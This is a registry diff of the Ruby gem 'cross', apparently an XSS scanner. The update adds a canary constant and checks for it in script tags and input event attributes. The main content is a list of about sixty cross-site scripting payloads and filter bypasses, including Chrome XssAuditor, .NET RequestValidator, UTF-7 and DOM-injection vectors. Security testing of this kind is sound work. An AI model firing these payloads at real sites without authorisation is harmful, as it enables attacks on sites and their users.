cross 0.50.0 → 0.60.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/cross/engine.rb +9 -5
- data/lib/cross/version.rb +1 -1
- data/lib/cross/xss.rb +61 -59
- metadata +1 -1
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 4f1bec8b1ce4f2e496fe86f5d966efb87696b4e9
|
4
|
+
data.tar.gz: 8953c2f3a406c7a3cedbeb6f09395e2ddd7e5c11
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: acb82a8dbe95bf8c952f2537d03642ec4f6d059202914d93f8509605beb208bf6088fdca447d84934f5d61446b7ad4e8f9b3442ed213091685abade5879c006e
|
7
|
+
data.tar.gz: a159b734f9bb303170e2e922c936c4c89abfe83524f58f2392bee7e0b2e679813c8371d5c01edd46faa615b39e26f4e94cb7b020aa73e0eeba7ac0d1954b8cb6
|
data/lib/cross/engine.rb
CHANGED
@@ -75,8 +75,8 @@ module Cross
|
|
75
75
|
|
76
76
|
scripts = page.search("//script")
|
77
77
|
scripts.each do |sc|
|
78
|
-
$logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert(
|
79
|
-
return true if sc.children.text.include?("alert(
|
78
|
+
$logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
79
|
+
return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
80
80
|
end
|
81
81
|
|
82
82
|
return false if options[:oneshot]
|
@@ -115,8 +115,6 @@ module Cross
|
|
115
115
|
ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
|
116
116
|
ff.value = pattern if ff.name==options[:parameter_to_tamper]
|
117
117
|
|
118
|
-
|
119
|
-
# promo=Promo1&codice=&nome=&cognome=&indirizzo=%3Cscript%3Ealert%28%27cross+canary%27%29%3C%2Fscript%3E&comune=&CAP=&provincia=&num1=&num2=&mail=&codfisc=&fase=1
|
120
118
|
end
|
121
119
|
end
|
122
120
|
|
@@ -126,7 +124,13 @@ module Cross
|
|
126
124
|
$logger.err "Page is empty" if pp.body.empty?
|
127
125
|
scripts = pp.search("//script")
|
128
126
|
scripts.each do |sc|
|
129
|
-
return true if sc.children.text.include?("alert(
|
127
|
+
return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
128
|
+
end
|
129
|
+
|
130
|
+
# This is for input html field javascript event evasion
|
131
|
+
inputs = pp.search("//input")
|
132
|
+
inputs.each do |input|
|
133
|
+
return true if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
|
130
134
|
end
|
131
135
|
end
|
132
136
|
return false if options[:oneshot]
|
data/lib/cross/version.rb
CHANGED
data/lib/cross/xss.rb
CHANGED
@@ -2,69 +2,71 @@ module Cross
|
|
2
2
|
module Attack
|
3
3
|
class XSS
|
4
4
|
|
5
|
+
CANARY = 666
|
6
|
+
|
5
7
|
def self.each
|
6
8
|
|
7
9
|
evasions = [
|
8
|
-
"
|
9
|
-
"<script>alert(
|
10
|
-
"
|
11
|
-
"/--><script>alert(
|
12
|
-
"
|
13
|
-
"/--></ScRiPt><ScRiPt>alert(
|
14
|
-
"
|
15
|
-
"//;-->alert(
|
16
|
-
"
|
17
|
-
"\"//;\nalert(
|
18
|
-
"
|
10
|
+
"a onmouseover=alert(#{Cross::Attack::XSS::CANARY})",
|
11
|
+
"<script>alert(#{Cross::Attack::XSS::CANARY})</script>",
|
12
|
+
"<script>alert(#{Cross::Attack::XSS::CANARY});</script>",
|
13
|
+
"/--><script>alert(#{Cross::Attack::XSS::CANARY})</script>",
|
14
|
+
"/--><script>alert(#{Cross::Attack::XSS::CANARY});</script>",
|
15
|
+
"/--></ScRiPt><ScRiPt>alert(#{Cross::Attack::XSS::CANARY})</ScRiPt>",
|
16
|
+
"/--></ScRiPt><ScRiPt>alert(#{Cross::Attack::XSS::CANARY});</ScRiPt>",
|
17
|
+
"//;-->alert(#{Cross::Attack::XSS::CANARY})",
|
18
|
+
"//;-->alert(#{Cross::Attack::XSS::CANARY});",
|
19
|
+
"\"//;\nalert(#{Cross::Attack::XSS::CANARY})",
|
20
|
+
"\"//;\nalert(#{Cross::Attack::XSS::CANARY});",
|
19
21
|
# more exotic vectors (antisnatchor's collection)
|
20
|
-
"<script/anyjunk>alert(
|
21
|
-
"<<script>alert(
|
22
|
-
"<img onerror=alert(
|
23
|
-
"<xml onreadystatechange=alert(
|
24
|
-
"<style onreadystatechange=alert(
|
25
|
-
"<iframe onreadystatechange=alert(
|
26
|
-
"<object onerror=alert(
|
27
|
-
"<object type=image src=/images/live.gif onreadystatechange=alert(
|
28
|
-
"<img type=image src=/images/live.gif onreadystatechange=alert(
|
29
|
-
"<input type=image src=/images/live.gif onreadystatechange=alert(
|
30
|
-
"<isindex type=image src=/images/live.gif onreadystatechange=alert(
|
31
|
-
"<script onreadystatechange=alert(
|
32
|
-
"<bgsound onpropertychange=alert(
|
33
|
-
"<body onbeforeactivate=alert(
|
34
|
-
"<body onfocusin=alert(
|
35
|
-
"<input autofocus onfocus=alert(
|
36
|
-
"<input onblur=alert(
|
37
|
-
"<body onscroll=alert(
|
38
|
-
"</a onmousemove=alert(
|
39
|
-
"<video src=1 onerror=alert(
|
40
|
-
"<audio src=1 onerror=alert(
|
41
|
-
"<object data=javascript:alert(
|
42
|
-
"<iframe src=javascript:alert(
|
43
|
-
"<embed src=javascript:alert(
|
44
|
-
"<form id=test /><button form=test formaction=javascript:alert(
|
45
|
-
"<event-source src=javascript:alert(
|
46
|
-
"<x style=behavior:url(#default#time2) onbegin=alert(
|
47
|
-
"<x style=x:expression(alert(
|
48
|
-
"<x onclick=alert(
|
49
|
-
"<img onerror=\"alert(
|
50
|
-
"<img onerror=`alert(
|
51
|
-
"<img/onerror=\"alert(
|
52
|
-
"<img onerror=alert(
|
53
|
-
"<img onerror=alert(
|
54
|
-
"<img onerror=alert(
|
55
|
-
"<img onerror=alert(
|
56
|
-
"<img onerror=alert(
|
57
|
-
"<img onerror=alert(
|
58
|
-
"<img onerror=alert(
|
59
|
-
"<img onerror=alert(
|
60
|
-
"<img onerror=alert(
|
61
|
-
"<script>function::['alert'](
|
62
|
-
"<svg><script>//
alert(
|
63
|
-
"<script>/*///*/alert(
|
64
|
-
"<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(
|
65
|
-
"+ADw-script+AD4-alert(
|
66
|
-
"},alert(
|
67
|
-
"\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert(
|
22
|
+
"<script/anyjunk>alert(#{Cross::Attack::XSS::CANARY})</script>",
|
23
|
+
"<<script>alert(#{Cross::Attack::XSS::CANARY});//<</script>",
|
24
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
25
|
+
"<xml onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
|
26
|
+
"<style onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
|
27
|
+
"<iframe onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
|
28
|
+
"<object onerror=alert(#{Cross::Attack::XSS::CANARY})>",
|
29
|
+
"<object type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})></object>",
|
30
|
+
"<img type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
|
31
|
+
"<input type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
|
32
|
+
"<isindex type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
|
33
|
+
"<script onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
|
34
|
+
"<bgsound onpropertychange=alert(#{Cross::Attack::XSS::CANARY})>",
|
35
|
+
"<body onbeforeactivate=alert(#{Cross::Attack::XSS::CANARY})>",
|
36
|
+
"<body onfocusin=alert(#{Cross::Attack::XSS::CANARY})>",
|
37
|
+
"<input autofocus onfocus=alert(#{Cross::Attack::XSS::CANARY})>",
|
38
|
+
"<input onblur=alert(#{Cross::Attack::XSS::CANARY}) autofocus><input autofocus>",
|
39
|
+
"<body onscroll=alert(#{Cross::Attack::XSS::CANARY})><br><br>...<br><input autofocus>",
|
40
|
+
"</a onmousemove=alert(#{Cross::Attack::XSS::CANARY})>",
|
41
|
+
"<video src=1 onerror=alert(#{Cross::Attack::XSS::CANARY})>",
|
42
|
+
"<audio src=1 onerror=alert(#{Cross::Attack::XSS::CANARY})>",
|
43
|
+
"<object data=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
|
44
|
+
"<iframe src=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
|
45
|
+
"<embed src=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
|
46
|
+
"<form id=test /><button form=test formaction=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
|
47
|
+
"<event-source src=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
|
48
|
+
"<x style=behavior:url(#default#time2) onbegin=alert(#{Cross::Attack::XSS::CANARY})>",
|
49
|
+
"<x style=x:expression(alert(#{Cross::Attack::XSS::CANARY}))>",
|
50
|
+
"<x onclick=alert(#{Cross::Attack::XSS::CANARY}) src=a>Click here</x>",
|
51
|
+
"<img onerror=\"alert(#{Cross::Attack::XSS::CANARY})\"src=a>",
|
52
|
+
"<img onerror=`alert(#{Cross::Attack::XSS::CANARY})`src=a>",
|
53
|
+
"<img/onerror=\"alert(#{Cross::Attack::XSS::CANARY})\"src=a>",
|
54
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
55
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
56
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
57
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
58
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
59
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
60
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
61
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
62
|
+
"<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
|
63
|
+
"<script>function::['alert'](#{Cross::Attack::XSS::CANARY})</script>",
|
64
|
+
"<svg><script>//
alert(#{Cross::Attack::XSS::CANARY})</script>", #Chrome <= 18 XssAuditor bypass
|
65
|
+
"<script>/*///*/alert(#{Cross::Attack::XSS::CANARY});</script>", #Chrome <= 20 XssAuditor bypass
|
66
|
+
"<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(#{Cross::Attack::XSS::CANARY}))>", #.NET RequestValidator bypass
|
67
|
+
"+ADw-script+AD4-alert(#{Cross::Attack::XSS::CANARY})+ADw-/script+AD4-", # UTF-7
|
68
|
+
"},alert(#{Cross::Attack::XSS::CANARY}),function x(){//", # DOM breaker
|
69
|
+
"\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert(#{Cross::Attack::XSS::CANARY})\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e" #DOM-based innerHTML injection
|
68
70
|
]
|
69
71
|
evasions.each do |pattern|
|
70
72
|
yield pattern if block_given?
|